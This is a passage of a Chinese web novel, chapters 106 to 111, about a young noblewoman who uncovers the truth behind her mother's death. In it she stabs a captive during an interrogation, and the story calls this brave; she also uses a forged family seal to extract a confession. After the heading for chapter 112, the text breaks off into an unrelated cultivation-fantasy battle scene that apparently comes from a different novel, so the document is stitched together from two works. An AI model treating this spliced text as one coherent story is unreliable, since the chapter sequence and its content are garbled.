沈晚眠冷笑一声：“人家孙嫣然有孙文的亲笔信，你有什么？我凭什么信你？” 孙建一时语塞，他好像真的没有能拿出手的。 “不如你先讲一点我感兴趣的，我听听，再决定要不要跟你合作。” 孙建见她松了开口，赶紧应下：“好……我说。” “孙文之所以领养孙嫣然，是因为他知道李园园不想嫁给他，他领养了孩子，这桩亲事自然就解除了，这件事，孙嫣然可不知道。” 沈晚眠有些意外，没想到事情竟然是这样。 “也是因为这件事，李园园和孙文的关系，比以往好了一些，李园园感激孙文的成全，时常往我家送东西，吃的喝的用的，还有银子，什么都有。” 沈晚眠眯了眯眼。 第107章 勇敢 “继续说。” 阿烟将刀架在他脖子上，紧紧贴着他的血管。 感受到脖子处传来的凉意，孙建咽了一口唾沫。 “我……我有点渴，可以给我点水吗……” 他在试探，试探眼前人对他的话有几分兴趣。 沈晚眠从门外舀来一瓢水，扔到他面前。 孙建顾不得自己的狼狈，赶紧将水尽数吞下。 期间还呛了两次。 喝完后，他继续向沈晚眠讲述孙文和李园园的往事。 “后来李园园突然要嫁给京城的大户人家，孙文知道后，连夜去了李府，任凭我怎么好言相劝，都拦不住他。” “也不知那晚发生了什么，第二日孙文醉倒到家门口，还是我将他扶进门的，等他清醒了，我问他发生了什么，他什么都不肯说。” “再往后李园园便出嫁了，孙文也渐渐将她忘了，日子就这么慢慢过着，直到有一天，京城突然来了一封写给孙文的信，孙文收到后不顾我和孙嫣然的住拦，执意要去京城，他走了后就再也没回来……” 沈晚眠皱起眉头。 “没有了？” 孙建目光躲闪道：“没有了……” 沈晚眠夺过阿烟手中的刀，不带丝毫犹豫的扎进孙建的大腿。 伴随着孙建的哀嚎，血液瞬间喷涌而出，染红了沈晚眠的衣衫。 她的动作太快，快到李言初和阿烟都还没反应过来，她就已经做完这一切。 李言初回过神后，赶紧将沈晚眠拉到身边，他慌乱的替她擦去溅到脸上的血迹。 “昭昭……你没事吧。” 沈晚眠对着他摇摇头。 “我没事，放心吧。” 她重新来到赵钱身边，拿起地上的刀，厉声质问道。 “十七年前，你欠过一笔巨款，但你很快就还清了，说，你哪里来的银子！” 赵钱并未跟她讲过具体是几年前。 是她自己猜测，当年孙文进京寻她母亲，与此事有关。 阿烟在他惊叫的下一秒，就将他的嘴堵上了。 此刻他只能发出痛苦的呜咽声。 “阿烟，放开他。” 阿烟怕他动静太大，会引来李家人，才堵住他的嘴。 但小姐都发话了，她只能作罢。 “我说……我都说，是我……当年是我让孙文跟李园园借钱，孙文一开始还不愿意，后来家里被闹了几次，催债的还说再不还钱就要抢走孙嫣然，他这才跟李园园开了口……” 原来是这样。 竟然是这样。 怪不得，孙嫣然说有她母亲的亲笔信时，表情是那般讥讽。 李老夫人怎么都不肯调查小女儿的死。 徐家也不愿向她提起此事。 所有人都觉得，是母亲先招惹孙文在先，引得孙文进京找她，这才酿成悲剧。 原来，一切的祸端，竟然在这！ “孙文呢，他是怎么死的，还有我母亲，当年他们二人到底发生了什么？！” 沈晚眠强迫自己冷静下来。 她还没有得到最重要的信息，此刻不是悲痛的时候。 孙建哪里还敢骗她。 但他也是真的不知道后面的事。 “后来孙文托人送来银子，自己却没后来，再然后就传来他身亡的消息，你说的这些，我是真的不知道啊……” 说完，孙建猛地倒吸一口凉气。 痛，实在是痛。 沈晚眠只感觉浑身的力气都被抽干。 明明她做了这么多，到头来却还是一点头绪都没有。 如果孙建不知道的话，孙嫣然当时这么小，她应该也不清楚吧。 那还有谁知道真相，她下一步应该怎么做…… “阿烟，把他的伤口处理好，在给他拿些吃食，别让他死了。” 孙建还不能死，至少现在不能。 一股巨大的无力感笼罩在她的心头。 沈晚眠失落的走出柴房。 她抬起头，发现月亮不知何时被乌云笼罩了，就连星星都跑个没影。 孙家这条线几乎是断了，孙嫣然的那封信，她不用想都能猜到里面的内容。 那还有谁，还有谁知道当年的事情…… “昭昭，别灰心，至少我们现在已经知道了事情的一半，剩下的一半我陪你一起寻找。” 李言初拍了拍她的肩膀，轻声安慰道。 在他眼中，表妹一直都是机灵聪慧，但不谙世事的小女娘。 直到今日，他才见到她的另一面。 果断，狠厉，出手毫不犹豫，面对鲜血，丝毫不畏惧。 陌生的仿佛另一个人。 沈晚眠的那一刀，不仅扎进了孙建身体里，更将她在李言初心中的形象，彻底颠覆。 “无论如何，我都会一直陪着你。” 她才十六岁，到底经历过什么，才会如此…… 想到这里，李言初心里说不出的酸楚。 “表兄，你会不会觉得我很残忍。” 她刚才忘记了，自己现在只有十六岁。 一个十六岁的世家小姐，恐怕连刀都没摸过几次…… 阿烟是自己人，但表兄…… 她怕李言初会因此疏远自己，虽然他们二人如今的关系有些尴尬。 但在她心中，表兄是她为数不多的家人。 “不，你不是残忍，是勇敢。” “如果你没有拿刀刺他，恐怕不会如此轻易就问出实情。昭昭，你很勇敢，我很钦佩。” 沈晚眠有些意外的看着他，在她看来，表兄这种温润君子，会不喜她的作为，甚至可能厌恶…… 黑夜里，一颗心脏止不住的狂动。 李言初知道，他再一次，爱上了眼前的少女。 知道上一次的事是误会后，他便努力克制自己，逼着自己不对她动心。 他知道二人注定没有结果。 可是今日，那颗沉寂已久的心，终究冲破理智的枷锁，又为了同一个人而跳动。 二人并排坐在石凳上，各有各的心事。 完全没注意到有人在暗中一直窥视，将这一切尽收眼底。 李茵茵看完女儿夸张的演绎后，久久不能回神。 原来，当年竟然发生了这么多事，小妹的死，竟然另有蹊跷。 如果不是沈晚眠，恐怕永远不会有人将这桩旧事重新翻出来。 身为她的姐姐，自己这些年，竟然什么都没做。 愧疚感铺天盖地般袭来，李茵茵几乎都要喘不过来气。 第108章 印信 “娘，您……没事吧。” 李悦茹小心翼翼问道。 李茵茵没有说话，眼里的悲伤和自责，怎么都止不住。 最终这些全都化做眼泪，从李茵茵的眼眶中争先恐后流出。 李悦茹第一次见母亲流泪，一时间有些不知所措。 她笨拙的替李茵茵擦掉眼角的泪，随后握紧她的手。 “娘，我知道姨母的事您很自责，但这不是您一个人的错，是外祖母先不信任姨母，才让这件事压了这么多年……” 李茵茵流着泪也不忘呵斥女儿。 “不许妄议你外祖母。” 李悦茹不满的撇了撇嘴。 “本来就是，我哪里说错了。” “不过这位表妹，倒挺让人刮目相看，不远万里为母……申冤？反正就是挺厉害。” 李茵茵听着女儿在她耳边碎碎念，心思不由得被她牵动。 据说沈知舟极度偏爱侍妾，为了她都没再娶。 她这些年，一定过的很艰辛吧。 不过还好，小妹，你的女儿没长歪，她很好，她来为你寻回公道了。 “姨母的死，到底和那个孙文有什么关系？娘，你知道当年发生什么事了吗？” 李悦茹好奇问道。 当年的事，李茵茵一概不知，她甚至对孙文都没什么印象。 因为她那时正在和蒋奋闹和离。 她只知道孙文的死讯先传来，接着过了几个月，小妹就因生产而亡。 “今日之事，万不可告诉其他人，尤其是你外祖母。” 李茵茵告诫道。 沈晚眠有自己的打算，还是不要打乱她的计划。 她提供不了任何帮助，便只能替她守住秘密。 不知为何，她对沈晚眠有一种莫名的信任感。 觉得她一定能找出事情的真相。 …… 天刚蒙蒙亮，沈晚眠便将阿烟，吉祥，李言初和沈怀瑾都叫到房里来。 这四个人里，有三个都没睡醒。 吉祥和沈怀瑾完全不知道昨夜发生了什么。 他俩只知道沈晚眠昨夜审问了孙建，过程结果全然不知。 阿烟昨夜找来医师为孙建包扎好伤口，一直到后半夜才回去休息，现在更是困得睁不开眼。 屋里的炭火烧的暖烘烘，更让人昏昏欲睡。 四人围坐在桌前，沈晚眠则翻箱倒柜的在找着什么 终于，她找到了自己想要的东西，她将东西拿到桌子上，顺手接住了阿烟和吉祥摇摇欲坠的脑袋。 “别睡了，该聊正事了。” 沈晚眠将三人一一叫醒，经过她彻夜深思，她终于研究出了接下来的方案。 “小姐，这是什么？” 吉祥一睁开眼，就看到了桌子上的盒子。 “这个待会再讲，我接下来需要麻烦各位，帮我分头去做几件事。” 吉祥率先表态：“小姐你说什么呢，什么麻烦不麻烦。” 阿烟也跟着附和：“小姐，阿烟本来就是殿下派来保护您的，何谈麻烦之说，再者，在阿烟心里，早已将您和殿下一样看待。” 阿烟心里想的是，她已将沈晚眠和吉祥视作好友，只是身份有别，她不敢说出口。 “这是什么话，我和李兄同为你的兄长，帮你不是应该的吗。” 沈晚眠知道，这段时间多亏了她们几位的帮助。 尤其是表兄，这份恩情她铭记于心，来日定当加倍相报。 “好，客套的话我便不多说，现在的情况大家都了解，孙家这条路已经行不通，接下来只能从别的地方下手。” 沈怀瑾和吉祥面面相觑，昨日的事他俩还不知道呢。 李言初简单将昨晚的事告知他们二人，随后沈晚眠继续讲她的计划。 “首先肯定是沈家知道的最多，眼下年关将至，沈家要祭祖肯定少不了家主，沈知舟一定会带着苏氏和沈书玉回京，四兄，你能回京帮我打探消息吗？” 她知道沈怀瑾此次来扬州肯定不是单单为了帮她。 裴行止一定还有别的事需要他去做。 能回京最好，不能回京她还可以叫他去做别的事。 “可以，没问题。” 沈晚眠有些意外。 “殿下那边的事你都忙完了？” 沈怀瑾暧昧的笑了笑：“殿下说了，我只管帮你，其余的事有人替我做了。” “好，那便多谢四兄。” 紧接着，沈晚眠继续对阿烟道：“孙嫣然那边，就有劳阿烟帮我周旋，跟她说赵钱的债和孙建的命已经帮她解决，尽可能的多套点她的话，最好能将她手中的信拿到。” 阿烟点点头：“包在我身上。” 吉祥抢着问道：“我呢，我呢？” “你啊，就帮我看好孙建，然后多做些好吃的，等着我们回来。” 吉祥有些失望道：“就这些吗，没别的了？” 沈晚眠敲了一下她的脑袋。 “傻丫头，你的最危险了，要躲过李家的人不被他们察觉，这可是份艰巨的任务。” 吉祥瘪瘪嘴：“好吧……” 最后，沈晚眠将目光移向李言初。 “表兄，咱们去徐家，套徐家的话。” 李言初疑惑道：“套话？怎么套？” 李言初问的，也是另外三人心中的疑惑。 徐家嘴这么严，还有什么方法能套出话？ 沈晚眠神秘一笑，她早就准备好了。 四人的目光都聚集在她身上，她站起身，将桌子上的盒子打开。 “当然是用它套。” 李家印信（高仿版） 李言初看见东西的那一刻，眼睛都直了。 父亲的印信怎么在这里？！ “昭昭，这东西……你跟我来。” 李言初知道事情的严重性，虽然房间里没有外人，但此事不容小觑。 他拿起桌子上的印信，将沈晚眠拉到一边，压低声音道：“印信为何在你这里？” 沈晚眠故意道：“你猜猜？” 除了偷，李言初想不到第二种可能。 “你……这不是胡闹吗！被发现了怎么办？” 如果被发现了，她还怎么在李家待下去。 实在不行，他就说是自己偷的。 看着表兄严肃的模样，沈晚眠实在忍俊不禁。 “安啦，这枚印信是假的，是我仿造的，你仔细看看。” 听了她的话，李言初拿起印信仔细一看，发现果然如她所言。 父亲的印信有一处磕碰，他手里的这枚，却是完好无损的。 “你如何得知印的存在？还有，这上面的纹路样式，你为何能模仿的分毫不差？” 第109章 花灯 沈晚眠支支吾吾道：“这个嘛……只可意会不可言传，哈哈……” 她总不能说，他以前也做过假的帮过她吧。 上一世李言初为了帮她，伪造了一枚李家的印信。 事后还将假印信留在了她那里。 沈晚眠没事就拿出来看看，睹物思人，还经常摸上面的纹路。 久而久之，便熟记于心。 李言初也不过多追究。 反正事情已经做成了，过程便不重要了。 “你俩，说啥悄悄话呢，还得背着我们？” 状况外的三人还在状况外。 沈怀瑾忍不住出声问道。 “秘密，不告诉你。” 几人确定好了分工，便各自去做自己的事。 刚走出静月轩，李言初突然提出要回去换身衣服。 沈晚眠便在旁边的凉亭中等他。 过了许久，李言初没等到，却来了另外一位“不速之客”。 “表妹，好巧啊，你也出门吗。” 瞧这热情的态度，亲昵的称呼，灿烂的微笑，这还是她认识的李悦茹吗？ 事出反常必有妖，沈晚眠立马警觉起来。 “是啊表姐，你也出门啊，呵呵……” 沈晚眠嘴角弯成最完美的弧度，十分有礼貌的回应道。 不就是演戏吗，谁不会。 既然她想演，她便奉陪。 李悦茹拉起她的手，态度愈发亲昵。 “你瞧瞧你，穿的这么少，手都不暖了，外面天气寒冷，下次出门，记得拿着暖炉。” 多温馨的画面，如果被不了解前因的人看到，定会称赞二人姐妹情深。 “对了，过几日便是花灯节，前些日子我在店里定制了花灯，现在要去取，表妹不如与我同去，正好一并挑挑，到时候咱们姐妹一同去参加花灯节可好？” 沈晚眠脸都要笑僵了，她葫芦里到底卖的什么药？ “表姐的好意我心领了，实在不巧，我今日刚好有重要的事要去办，实在不能同往。” 李悦茹惋惜道：“啊，那太可惜了。” 她看到沈晚眠身后的吉祥，眼睛一转又来了主意。 “不如让吉祥替你去吧，听说表妹与吉祥自小一同长大，你的喜好她定是了解。” 刚才吉祥还在跟她抱怨自己的任务没有挑战性，这不“挑战”自己送上门了。 沈晚眠坏笑着转头看向吉祥。 吉祥惊慌的瞪大双眼，脸上写满了抗拒。 就差直接开口讲“她不要”了。 “好啊，吉祥，你可得好好替我陪着表姐。” 吉祥挤出一个比哭还难看的笑脸。 她动作僵硬的福了福身。 “是，都听小姐的……” 恰好此时李言初回来了。 不等李悦茹开口，沈晚眠直接提着裙摆快步走出凉亭跑向李言初。 “表姐，我们还有事，先行一步了哈。” 沈晚眠头也不回，直接拉着李言初往大门的方向走。 看着二人的背影，李悦茹不满的小声嘟囔道：“跑什么嘛，我又不是来捣乱的……” 接着，她从路过的丫鬟中随意挑了一位。 让不明所以的丫鬟和面色僵硬的吉祥站在一处。 “很好，就你了，替本小姐去西市的店里将花灯取来，吉祥，你再为你家小姐挑一个。” 李悦茹真心想和沈晚眠拉近关系。 经过昨夜的事，她对沈晚眠完全改观。 此次花灯节她必得抓住机会，与表妹好好亲近一番。 不过今日她还有重要的事。 期待已久的花灯也只能让别人替她去取了。 …… 来到徐家，沈晚眠一踏入大门，便感觉今日徐府的气氛十分怪异。 几个丫鬟正凑在一起不知聊些什么。 每个人脸上都挂着八卦的表情。 有一位眼尖的见到沈晚眠，赶紧叫其他人闭了嘴。 “二位是来找我家小姐的吧。” “嗯。” 其实不是，但来都来了，总要先和姐妹寒暄一番吧。 更何况她接下来要做的事有些不道德，还是先跟徐娇娇知会一声比较好。 丫鬟有些为难道：“我家小姐现在可能不方便见客……不如您先等会，奴婢替您通传一声。” 沈晚眠有些奇怪，但并未多问。 等会见到徐娇娇再说吧。 二人在丫鬟的引导下来到暖阁。 她刚坐下，徐娇娇便小跑着进了门。 “沈姐姐，你……” 徐娇娇的话都到了嘴边，看到旁边还有个李言初，又把话憋回去了。 “你们聊，我去看看马车停好了没。” 察觉到自己的存在让徐娇娇不自在，李言初非常识趣的将空间留给她们二人。 李言初离开后，徐娇娇才在沈晚眠身旁落座，继续将刚才没说完的话补上。 “沈姐姐，你来怎么不提前知会我一声。” 面对徐娇娇的嗔怪，沈晚眠笑着回答道：“提前说了，怎么叫惊喜？” “今日府上可是有重要的事？方才听丫鬟说你不方便见客。” 提到这个，徐娇娇的脸刷一下红了。 她躲闪着不敢看沈晚眠。 “没有……没事，沈姐姐，你在李家过的可好，那日我瞧着李家人都不大好相与，他们没为难你吧，还有，你母亲的事可调查清楚了？” 她越是转移话题，沈晚眠就越好奇。 “我没事，不过你很奇怪啊，快点从实招来，到底发生何事了？” 沈晚眠故意做出审问的姿态“威逼”道。 徐娇娇的脸越来越红，声音也越来越弱。 “沈姐姐……别问了……” 看她这副娇羞的样子，沈晚眠还有什么不明白的。 “女大不中留啊，说吧，看上哪家的小郎君了？” 徐娇娇摇了摇头，支支吾吾的将实情说出。 “不是，我没有……哎呀，就有人上门提亲……” 沈晚眠的八卦之魂一下被燃起。 她激动的嗓音都不自觉提高。 “上门提亲！媒人还是他家长辈？哪家的？你熟吗？或者你喜欢吗？” 面对沈晚眠一箩筐的问题，徐娇娇索性全盘托出，颇有破罐子破摔的气势。 “不是媒人，也不是长辈，是他自己来的……他姓蒋，叫蒋重明，我和他没见过几次面，不怎么熟……” 蒋重明……这名字好耳熟，好像在哪里听过。 算了，先不想这么多，此人亲自上门为自己提亲，倒是罕见。 第110章 立据 “为自己提亲？有趣，莫非是他爱慕你已久，实在受不了相思之苦，才急不可耐的来向你表明心意。” 沈晚眠满脸坏笑的打趣。 徐娇娇羞的脸通红，她也不知蒋重明为何会突然来她家提亲。 明明二人都没见过几面，为何他…… “你讨厌他吗？” 沈晚眠的话让徐娇娇一愣。 随即她摇摇头。 “那你喜欢他吗？” 徐娇娇又是一愣，接着又摇摇头。 沈晚眠沉默了，一时间她不知该说什么好。 “那伯父伯母呢？他们什么态度？” 徐娇娇支支吾吾道：“我……我也不清楚，我都听他们的，他们让我嫁我便嫁，反正都要嫁人，谁都一样……” 徐娇娇说话间，脸上的红晕逐渐褪去，取而代之的是茫然和无奈。 她喜不喜欢重要吗？于她而言嫁给谁都没有区别。 左不过那套流程，嫁人，生子，相夫教子。 女娘不都是这样，人生一眼便能望到头…… 而且她入宫的目的，不就是为了谈婚论嫁时能多些筹码。 沈晚眠彻底沉默了，作为过来人，她想劝徐娇娇不要麻木，要勇敢追求自己想要的生活。 但却怎么都开不了口。 人各有命。 她和自己不同。 徐娇娇有一个幸福的家庭，有一对宠爱她的父母。 她们的境遇完全不同，她不能站在自己的角度上去同样要求她。 “过完年，你还回京城吗？” 即使她心里已经有了答案，但她还是想问，徐娇娇到底是怎么想的。 “不了，即便这桩亲事成不了，还会有别的。” “虽然我一直叫你姐姐，但其实我比你要年长，过了今年我便十九岁了，该嫁了。” 徐娇娇恢复了平静，细想想，这些年父母对自己已经足够好。 他们从未向自己提过要求。 只希望她平安健康就好。 对她的婚姻，父母也是怕她日后在婆家会受欺负，才将她送到宫里。 有了这段经历，往后婆家想要为难她，也得事先掂量掂量。 “好，那就祝你早日觅得良人。” 二人相视一笑，一切尽在不言中。 “我有些事，想单独跟伯父谈谈，不知徐小姐可否帮我引荐？” 沈晚眠故意打趣道。 “好吧，看在你识趣的份上我便帮你一回。” 徐娇娇扬了扬下巴，嘴边的笑意却怎么都藏不住。 沈晚眠叫上李言初，就要开始他们的计划。 他们来到前厅时，刚好和要离开的蒋重明撞上。 “蒋兄，你怎么在这？” 李言初没想到竟然会在这里遇上同僚。 “李学士，您……” 蒋重明没有回答他的问题。 主要是他此次的目的，实在有些难以启齿。 “这是我表妹，她与徐小姐是好友，又在徐府暂住过几日，我来陪她拜访伯父伯母。” “既是如此，我便不打扰了，再会。” 蒋重明慌里慌张的走了，沈晚眠看着他的背影，心里的疑惑更加重了。 他为自己求亲，按道理来说应该对徐娇娇爱慕已久才是。 可他刚才的神态，遮遮掩掩，慌慌张张。 徐娇娇就站在她身边，他甚至看了自己，都没看徐娇娇。 不对劲，十分的不对劲。 “沈姐姐，咱们进去吧。” 徐娇娇神色如常，看不出她心里到底想的什么。 罢了，别多管闲事了，她先顾好自己的事吧。 沈晚眠将刚才发生的事全部抛诸脑后。 她得打起十二分的精神。 接下来，还有一场硬仗要打。 来到正厅，徐父徐母显然还在思考刚才的事。 看到夫妻二人走神的模样，沈晚眠忍不住暗喜。 太好了，机会这不就来了。 不给徐父徐母反应的时间，沈晚眠上来便直奔主题。 “伯父，伯母，请将当年孙文与我母亲之事，告知与我。” 徐父没想到她竟然还揪着此事不放，他起身，又坐下，一时间都不知该说什么好。 “你这……唉……娇娇，你先出去，把门关上。” 这件事不能让女儿掺和进来。 徐娇娇走后，徐母率先开口道：“沈小姐，不是都告诉你了，这件事我们真的不能说。” 徐父已经不想再说话了，他就坐在一旁冷眼瞧着。 沈晚眠微微一笑，她不紧不慢道：“伯母，我记得您之前说过，您跟李家保证过，绝不提及此事。” 徐母无奈道：“对啊，你是知道的啊。” 沈晚眠继续道：“那您可知道，李家的规矩。” 徐母被她问懵了，这是哪跟哪？ “什么？” “李家家规，见李家印信，如见李家掌门人。” 徐母拧眉道：“什么意思？” 沈晚眠对着李言初点点头，示意他将东西拿出来。 “李家印信在我手上，今日我便以此撤消先前徐家李家的承诺。” 徐父猛的从位置上坐起。 李老夫人竟然会把李家印信给她？！ 他将李言初手中的印信接过，不信邪的看了又看。 真的是李家印信！ 徐父略带震惊的看着二人。 这才过了几日，她便说动了李老夫人，果然有本事。 “见了印信，伯父伯母可以说了吧。” 沈晚眠怕徐父看出端倪，赶紧将话题切换到正事上。 徐父还是有些不放心。 如果印信是他们偷偷拿出来的，他岂不是被他们骗了。 “还是立下字据，留下凭证吧，省的日后麻烦。” 有了印章，就算这印信是他们背着李老夫人偷拿出来的，以后出了事他也可以装做不知情。 沈晚眠心头一紧。 果然不会让她轻易糊弄过去。 此事她不说，徐家不说，这事就算糊弄过去。 可是若盖了章，便留下了把柄。 日后万一被提起，她还怎么面对李家众人。 可是如今，她不答应，还怎么继续追问她母亲的事？ 就在她进退两难之际，李言初拍了拍她的肩膀。 “好，伯父请写吧。” 沈晚眠回过头，不赞同的看向李言初。 盖了章可就没有回头的余地，她还可以再和徐父周旋。 “放心吧，有我在。” 徐父取来纸笔，将字据写好，又把自己的名字签好。 “沈小姐，请吧。” 事已至此，只能这样了，沈晚眠硬着头皮，就要将印信盖上。 门外忽然传出一道声音，将她的动作打断。 “且慢！” 第111章 线索 沈晚眠的心都提到了嗓子眼。 她握紧拳头，努力让自己看起来没那么慌张。 该不会…… 李悦茹推门而入。 进门后她先是将在场的人都看了一遍。 最后将目光定格在沈晚眠身上。 她的声音不疾不徐，却足以让沈晚头皮发麻。 “谁说李家印信只有一个。” “当年外祖母将李家一分为二，印信也跟着分成两份，只有两枚印信同时出现，才能代表李家掌门人，徐伯父怕是不知道吧。” 徐父的确不知，不过现在他知道了。 “既如此，沈小姐请回吧，本以为你是真心实意来府上，原来是想诓骗老夫。” 徐父冷哼一声，就要将刚写完的字据收起来。 沈晚眠想为自己辩解，又觉得自己的解释过于苍白，便又把话咽了回去。 不管怎么说，她都有错，就算只有一枚印信，她拿出来的也是假的。 如今算是搬起石头砸自己的脚，赔了夫人又折兵。 李悦茹都知道了，李家其他人肯定也知道了。 她还是好好想想，回去该怎么狡辩吧。 “伯父您误会了，这件事表妹不知情，所以才只拿了一半印信就来了，我这不是把另外一半送来了吗。” 李悦茹拿出另一半印信，放到桌子上。 随后她抢过徐父手中的字据，率先盖上了章。 盖完后，她将字据递给懵圈的沈晚眠。 “愣着干什么，赶紧接过去啊。” 直到盖完章，沈晚眠才反应过来，李悦茹不是来拆穿她的，而是来帮她的。 她怎么知道自己要做什么，又为何能如此及时的出现。 沈晚眠将目光移向李言初。 恐怕只有表兄能解释了吧。 “等会再跟你解释，先问话要紧。” 李悦茹凑到她耳边耳语道。 不管怎么说，结果是好的。 沈晚眠深吸一口气，将所有情绪一并压下。 “现在伯父可以说了吧。” 徐父点点头。 “刚才是我误会沈小姐了，我这就将知道的，全部告知各位。” 所有人落座后，徐父将那段尘封了十七年的往事，缓缓道来。 “那年圣上大选，太守看中我妹妹的才情，便选中了她，我们全家都很高兴，护送我妹妹去京城差事，也被我揽下。” “就在我们出发的前一晚，孙文突然找上门来，说想搭乘我家的马车，与我们一同上京。” “我想着都是同乡，回来的路上有个作伴的也不错，便同意了他的请求。” 听到这里，沈晚眠问出自己的疑惑。 “孙文有没有说他要去干什么？” 徐父摇了摇头。 “当时他只说要去京城探亲，到了京城后，也的确有人来接他，从那之后，我们就分开了。” 沈晚眠继续问道：“您可认识那人？” 徐父还是摇了摇头。 “不认识，不过我记得孙文唤他魏兄，对了，那人脸上还有一道疤，吓人的很。” 姓魏，住在京城，脸上有疤。 特征明显，应该很好找。 “您继续讲。” 徐父思考了一下，继续讲道：“选秀要进行大半个月，妹妹进宫后，我便在客栈住下，孙文和我们分开后，我只见过他两面。” “第一次见面，他好像被人打了，眼窝都被打紫了，不过除了眼睛被人打了一拳，其他地方倒没受伤。” “当时他在我住的客栈外面喝闷酒，刚好和我撞上，我便邀请他来我房里小坐。” “我问他发生何事了，他也不说，不过我瞧着他的神情，像是……感情受挫。” 徐父说完这句话，看了沈晚眠一眼。 见她神色未变，徐父才继续讲。 “第二次见他，是在街上，我在铺子里吃包子，见到他往我这边来，便叫了他一声，谁知他压根没听到，我想问他何时回去，因为选秀结束了，我妹妹成功入选，我也该离开了。” “看他一副魂不守舍的样子，我怕发生什么意外，便追了上去。” “我看他进了一间铺子，便在门口等着他出来，结果我等了大半个时辰，都没等到他，我就自己先回去了。” “第二日，姓魏的那位来了，跟我说他死了，叫我不必等他。” “当时我很震惊，想问问他是怎么死的，尸体在哪里，但一瞧见他脸上的疤，我便犯怵。” “之后我便回来了。” “其实也没有什么不能说的，但是过了一段时日，你母亲身亡的消息传出，李老夫人亲自上门，不让我将孙文的事传出去。” “当时我就知道，你母亲的死一定和孙文有关，而孙文又是我带去的，因为我，一下没了两条命，我心里自责的很，便答应了老夫人。” 徐父讲完后，屋里静的可怕。 所有人的目光都集中在沈晚眠身上。 他们怕沈晚眠接受不了，会难受的大哭。 沈晚眠却比任何人都要冷静。 她几乎可以确定，母亲的死一定是阴谋。 李老夫人误会这么多年，一定有人从中作梗。 “您刚才说，您第二次见孙文，他进了一间铺子，什么铺子？” 徐父诧异于她的冷静。 “当然记得，是一家书铺，叫永文书铺，对面还有一家珠宝店，具体叫什么记不清了，只记得开头是个“玉”字。” 沈晚眠默默记下，姓魏的脸上有疤的男人，永文书铺，带玉字的珠宝店。 有了这些线索，她相信自己很快便能知道真相。 “多谢伯父，我还有事，先行一步，改日再登门道谢。” 沈怀瑾应该还没走，她得赶紧回去把这些告诉他。 “表妹，等等我……” 李悦茹紧跟着沈晚眠的脚步出了门。 “伯父伯母，我们便告辞了。” 李言初为两位表妹善完后，也要离开，却被徐母叫住。 “李公子留步，我们还有些问题想向您请教。” 徐母有些不好意思道。 李言初想了想，反正回去也没事了，便轻声应下。 “好，不知伯母想问什么？” 徐母看了一眼徐父，示意他先说。 徐父故意回避徐母的眼神，装做看不见。 徐母急了，直接从后面掐了一把徐父的胳膊，徐父差点惊叫出声。 “二位有话直说便是，我定知无不言。” 第112章 前夫 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 